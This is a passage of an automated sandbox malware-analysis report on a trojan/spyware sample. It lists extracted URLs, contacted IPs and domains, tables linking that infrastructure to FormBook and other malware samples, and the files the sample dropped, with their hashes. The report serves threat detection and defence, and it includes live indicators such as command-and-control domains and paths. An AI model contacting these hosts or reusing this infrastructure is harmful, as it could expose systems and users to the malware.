http://www.fontbureau.com/designers?	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.tiro.com	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	unlodctr.exe, 0000000B.00000003.2253314479.0000000008198000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.dntchunkysalsa.com	DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000C.00000002.2879612118.0000000005551000.00000040.80000000.00040000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn/cThe	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://domaincntrol.com/?orighost=	unlodctr.exe, 0000000B.00000002.2875903502.00000000046E8000.00000004.10000000.00040000.00000000.sdmp, unlodctr.exe, 0000000B.00000002.2881271761.00000000066E0000.00000004.00000800.00020000.00000000.sdmp, DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000C.00000002.2874692684.00000000037D8000.00000004.00000001.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	unlodctr.exe, 0000000B.00000003.2253314479.0000000008198000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/DPlease	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.com	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.sakkal.com	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	unlodctr.exe, 0000000B.00000003.2253314479.0000000008198000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.litespeedtech.com/error-page	unlodctr.exe, 0000000B.00000002.2875903502.00000000043C4000.00000004.10000000.00040000.00000000.sdmp, DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000C.00000002.2874692684.00000000034B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000D.00000002.2357220353.00000000123C4000.00000004.80000000.00040000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	unlodctr.exe, 0000000B.00000003.2253314479.0000000008198000.00000004.00000020.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.5.dr	false		high
https://www.ecosia.org/newtab/	unlodctr.exe, 0000000B.00000003.2253314479.0000000008198000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	UQO06iOMKZMPZ4A.exe	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	unlodctr.exe, 0000000B.00000003.2253314479.0000000008198000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	unlodctr.exe, 0000000B.00000003.2253314479.0000000008198000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
64.225.91.73	www.linbreoffice.org	United States	14061	DIGITALOCEAN-ASNUS	false
66.29.135.159	www.quantumboulevard.xyz	United States	19538	ADVANTAGECOMUS	true
154.213.73.100	www.dntchunkysalsa.com	Seychelles	62468	VPSQUANUS	false
109.70.148.57	klingerlumberltd.com	United Kingdom	25369	BANDWIDTH-ASGB	false
109.123.121.243	www.gattosat.icu	United Kingdom	13213	UK2NET-ASGB	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431983
Start date and time:	2024-04-26 07:38:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	UQO06iOMKZMPZ4A.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@8/7@6/5
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 93% Number of executed functions: 189 Number of non-executed functions: 305
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:38:51	API Interceptor	1x Sleep call for process: UQO06iOMKZMPZ4A.exe modified
07:39:03	API Interceptor	1x Sleep call for process: WerFault.exe modified
07:40:11	API Interceptor	981087x Sleep call for process: unlodctr.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
64.225.91.73	file.exe	Get hash	malicious	FormBook	Browse	www.linbreoffice.org/qruc/
	file.exe	Get hash	malicious	FormBook	Browse	www.linbreoffice.org/qruc/
	r01-25Arrival.exe	Get hash	malicious	FormBook	Browse	www.local-masterfab.pro/fo8o/?hZK=TBWIpj7lQD4OC51L6TnQZOiasmxJdPxJoL7DQNVl1Zq0A2zrRAdSXuYGZAR2VGrkOcql9v8WNNLve4st3ihwaAE1XdBiasatsg==&MHlD=IzPxMBWx3t
	bt.exe	Get hash	malicious	Neconyd	Browse	mkkuei4kdsz.com/514/484.html
	http://cloud-kingl.com	Get hash	malicious	Unknown	Browse	cloud-kingl.com/favicon.ico
	http://cloud-kingl.com	Get hash	malicious	Unknown	Browse	cloud-kingl.com/favicon.ico
	ewiuer2.exe	Get hash	malicious	Neconyd	Browse	mkkuei4kdsz.com/543/303.html
	ewiuer2.exe	Get hash	malicious	Neconyd	Browse	mkkuei4kdsz.com/180/41.html
	spug64.exe	Get hash	malicious	Simda Stealer	Browse	qetyhyg.com/login.php
	ewiuer2.exe	Get hash	malicious	Neconyd	Browse	mkkuei4kdsz.com/920/418.html
66.29.135.159	m2 Cotizaci#U00f3n-1634.pdf.exe	Get hash	malicious	FormBook	Browse	www.pixelvortex.info/q696/
	160420241245287.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.eternalsunrise.xyz/9pdo/
	2024164846750.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.eternalsunrise.xyz/9pdo/
	file.exe	Get hash	malicious	FormBook	Browse	www.quantumboulevard.xyz/qruc/
	202404153836038.EXE.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.eternalsunrise.xyz/9pdo/
	zamowienie_002523.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.eternalsunrise.xyz/9pdo/
	file.exe	Get hash	malicious	FormBook	Browse	www.quantumboulevard.xyz/qruc/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.electronicraw.com	file.exe	Get hash	malicious	FormBook	Browse	45.33.2.79
www.linbreoffice.org	file.exe	Get hash	malicious	FormBook	Browse	64.225.91.73
www.linbreoffice.org	file.exe	Get hash	malicious	FormBook	Browse	64.225.91.73
www.gattosat.icu	file.exe	Get hash	malicious	FormBook	Browse	109.123.121.243
www.gattosat.icu	file.exe	Get hash	malicious	FormBook	Browse	109.123.121.243
www.dntchunkysalsa.com	file.exe	Get hash	malicious	FormBook	Browse	154.213.73.100
www.dntchunkysalsa.com	file.exe	Get hash	malicious	FormBook	Browse	154.213.73.100
www.quantumboulevard.xyz	file.exe	Get hash	malicious	FormBook	Browse	66.29.135.159
www.quantumboulevard.xyz	file.exe	Get hash	malicious	FormBook	Browse	66.29.135.159

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DIGITALOCEAN-ASNUS	https://m7qfa5ng4lp7.blob.core.windows.net/m7qfa5ng4lp7/1.html?4rKpnF7821CfLO43wsacrvmomp962ETPJQJTKIDNZNNV65316UFUY14332V14#14/43-7821/962-65316-14332	Get hash	malicious	Phisher	Browse	167.71.30.39
	https://microsoft-microsoft-microsoft-microsoft-microsoft.glowlaundry.com/?office=bWhhc2Vscm90aEBuZXhwb2ludC5jb20	Get hash	malicious	Fake Captcha, HTMLPhisher	Browse	46.101.216.85
	https://url.us.m.mimecastprotect.com/s/qkT5Cv2pWyUOjZODty9fnF?domain=google.com	Get hash	malicious	Unknown	Browse	45.55.99.106
	https://sigtn.com////////utils/emt.cfm?client_id=9195153&campaign_id=73466&link=neoparts%E3%80%82com.br./dayo/fks6/TWFncm8uWXVkZWdvLkphdmllckBkZW1lLWdyb3VwLmNvbQ==$	Get hash	malicious	Fake Captcha, HTMLPhisher	Browse	46.101.216.85
	SecuriteInfo.com.Linux.Siggen.9999.7319.21004.elf	Get hash	malicious	Mirai	Browse	174.138.51.232
	xm393ns4.exe	Get hash	malicious	Unknown	Browse	139.59.65.89
	xm393ns4.exe	Get hash	malicious	Unknown	Browse	139.59.65.89
	xm393ns4.exe	Get hash	malicious	Unknown	Browse	139.59.65.89
	wOIrAYQ8IM.elf	Get hash	malicious	Mirai	Browse	128.199.180.45
	http://jtmidgett.law/CaptRedr.html	Get hash	malicious	HTMLPhisher	Browse	159.65.82.236
ADVANTAGECOMUS	https://lithiuimvalley.com/ssd	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	66.29.146.144
	copy#10476235.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	66.29.151.236
	Texas_Tool_Purchase_Order#T18834-1.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	66.29.159.53
	Swift_Message#1234323456.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	66.29.159.53
	m2 Cotizaci#U00f3n-1634.pdf.exe	Get hash	malicious	FormBook	Browse	66.29.135.159
	Receipt_681002.exe	Get hash	malicious	AgentTesla, AsyncRAT, PureLog Stealer	Browse	66.29.151.236
	e-dekont_swift-details.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	66.29.159.53
	Receipt_7814002.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	66.29.151.236
	IMG_210112052.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	66.29.151.236
	Receipt_032114005.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	66.29.151.236
VPSQUANUS	ATNSgLSNbG.elf	Get hash	malicious	Mirai, Okiru	Browse	103.252.20.52
	1xOzmXt77u.elf	Get hash	malicious	Chaos	Browse	103.42.31.29
	file.exe	Get hash	malicious	FormBook	Browse	154.213.73.100
	file.exe	Get hash	malicious	FormBook	Browse	154.213.73.100
	lUJIhHyHmC.elf	Get hash	malicious	Mirai, Moobot	Browse	43.250.172.57
	33BMmt58Bj.exe	Get hash	malicious	FormBook	Browse	23.251.54.212
	https://dsowoh.cn/	Get hash	malicious	Unknown	Browse	156.224.22.78
	https://njcuh.cn/	Get hash	malicious	Unknown	Browse	156.224.22.78
	Payment_Advice.pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	23.251.54.212
	Payment_Advice.pdf.exe	Get hash	malicious	FormBook	Browse	23.251.54.212
BANDWIDTH-ASGB	Minutes_of_15th_Session_of_PSC.pdf.exe	Get hash	malicious	Unknown	Browse	188.241.39.200
	Minutes_of_15th_Session_of_PSC.pdf.exe	Get hash	malicious	Unknown	Browse	188.241.39.200
	DOCUMENTS OF OWNERSHIP AND PAYMENT REQUIREMENTS.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	188.241.39.200
	suvyd.dll.dll	Get hash	malicious	Unknown	Browse	185.38.150.8
	suvyd.dll.dll	Get hash	malicious	Unknown	Browse	185.38.150.8
	crdss.exe	Get hash	malicious	Unknown	Browse	185.38.150.8
	file.exe	Get hash	malicious	FormBook	Browse	109.70.148.57
	202404153836038.EXE.exe	Get hash	malicious	FormBook, GuLoader	Browse	109.70.148.57
	https://zimtendernotices.co.zw/login.html	Get hash	malicious	PayPal Phisher	Browse	81.19.215.20
	DOCUMENTS OF OWNERSHIP AND PAYMENT REQUIREMENTS.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	188.241.39.200
UK2NET-ASGB	0tfJECfbEP.elf	Get hash	malicious	Mirai	Browse	83.170.120.186
	m2 Cotizaci#U00f3n-1634.pdf.exe	Get hash	malicious	FormBook	Browse	109.123.121.243
	file.exe	Get hash	malicious	FormBook	Browse	109.123.121.243
	file.exe	Get hash	malicious	FormBook	Browse	109.123.121.243
	x86	Get hash	malicious	Unknown	Browse	77.92.90.68
	DqbYZ8Ns4k.elf	Get hash	malicious	Mirai	Browse	173.244.199.113
	https://service-document.cindypamperedpets.com/service-micro-documents/	Get hash	malicious	Unknown	Browse	31.24.230.54
	https://service-document.cindypamperedpets.com/service-micro-documents/	Get hash	malicious	Unknown	Browse	31.24.230.54
	March 03-31-2024 statement.vbs	Get hash	malicious	Remcos, GuLoader	Browse	45.80.158.221
	R1azpLY4UP.elf	Get hash	malicious	Mirai	Browse	83.170.95.4

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_UQO06iOMKZMPZ4A._f857fe58ea09b799fdb0ec55b4d30f47170d3_88b9e8b8_b665316b-1a8c-4954-a90d-ffa3e7949e10\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1747523008441747
Encrypted:	false
SSDEEP:	192:Vd7QWBQxQuubQd20BU/YQUQ2aWOJo1ZrFsKzuiFYZ24IO86Qw:VJtBErubCBU/YxdaxHKzuiFYY4IO86F
MD5:	0ECA16FD9C83EBE07AC640D492080C54
SHA1:	B154B9E502B3836D69F279F4628DB3CDBE8236F9
SHA-256:	5650AACC9298F83AFA395A556E42EED88D3244A34E2219159C9F8BC09B2DF228
SHA-512:	3F8E7C03A0BC6E5A34A2A02900710C64F9CC635C8BB2517C72DC899A6BAA81FBBC99A3161A8D445D8669F2ED4C8224218E44449ECF40A0901771A8A189CDE2C2
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.5.8.3.5.3.3.5.8.0.1.3.4.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.5.8.3.5.3.4.3.3.0.1.3.2.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.6.6.5.3.1.6.b.-.1.a.8.c.-.4.9.5.4.-.a.9.0.d.-.f.f.a.3.e.7.9.4.9.e.1.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.c.8.6.f.8.5.9.-.a.4.9.5.-.4.c.0.8.-.8.2.a.c.-.e.b.3.c.9.8.4.0.e.9.9.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.U.Q.O.0.6.i.O.M.K.Z.M.P.Z.4.A...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.x.D.k...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.c.0.-.0.0.0.1.-.0.0.1.4.-.2.1.c.1.-.2.8.0.4.9.c.9.7.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.8.e.8.9.0.c.2.f.1.a.0.8.a.9.d.b.d.0.5.7.4.6.1.1.6.6.2.4.e.5.7.0.0.0.0.0.0.0.0.!.0.0.0.0.6.6.6.6.9.d.c.3.f.7.e.7.0.6.7.5.b.5.2.b.5.c.6.2.9.3.f.4.3.6.5.0.2.6.d.a.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4FB8.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Apr 26 05:38:53 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	345899
Entropy (8bit):	4.038617522771631
Encrypted:	false
SSDEEP:	3072:WoeU1dc4uEqIy+tDpLTgZYE5qGVt6jTuBHLJj0Y6p:Wo1dc4tyITguR+t9n
MD5:	12E6C60BB987F630CE0CF34E6214705A
SHA1:	37CB5B22DCAE971818BB47E94EBD967831CE7EB1
SHA-256:	4B39F49F3DDF62686F2EB60448A5A55CFA8B6EFE2E9E1AD68691F8D7A0F49B8A
SHA-512:	A25A0A49A0D439D0F3DBED2ADA11914E1D0BBCEBC5A2EDF6E2887957BD71051843B126E7DBCBB6654FD44A91AE6B10F9FFD85D117AA2BA52473C774BCBF00769
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........=+f........................H...........$....&.......7...[..........`.......8...........T...........P8..............$&...........(..............................................................................eJ.......(......GenuineIntel............T............=+f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER518E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8432
Entropy (8bit):	3.7019150318800604
Encrypted:	false
SSDEEP:	192:R6l7wVeJjQT16gtMS6Y9MSUK6gmfZsQ6uLpr989bzdbsfBhFm:R6lXJjk6W76YGSUK6gmfiEszdgfnI
MD5:	9459D43BA7392B858E7D4A033DCEC84A
SHA1:	2B0E10A88BED05E1922A6DCEBA36FFFD956481F4
SHA-256:	6B4FCF25959DAD49F3A9DF092711554C8E84C478654CD7FC763B9CA48F4016B6
SHA-512:	AA964691CF6F960599E07A279C386F87804AA2B3878AD6433C2895091D470006AD69B44702615F3FE2E3A26927811B5FE2E61416C5E26CDC90D6D576DAEF57BF
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.6.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER51CE.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4761
Entropy (8bit):	4.502850755714027
Encrypted:	false
SSDEEP:	48:cvIwWl8zsKJg77aI9XEWpW8VYiYm8M4JMshFlOQ+q8vhsZG8t+EVbTdd:uIjfYI7Bd7VCJMlQKhmG8t+EVbTdd
MD5:	311E6B5B51A8A990DB35C4C85145222B
SHA1:	E05E115D9D4D545495797416CB0908ADEAAAC229
SHA-256:	EEBA5487EF1256B65EBFC1132073E365644136D5401881F364BBC01D16F4BBE8
SHA-512:	6D9E2B10F01851E63703B052966058B28848A703CDA2EA6875383CF73E05AB78C5082A8118F9698245687D6D2F9033621195D6525AC6346CAE7FE35145A62FB4
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="296441" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\UQO06iOMKZMPZ4A.exe.log

Download File

Process:	C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Temp\17-EIW25

Download File

Process:	C:\Windows\SysWOW64\unlodctr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.46582856389655
Encrypted:	false
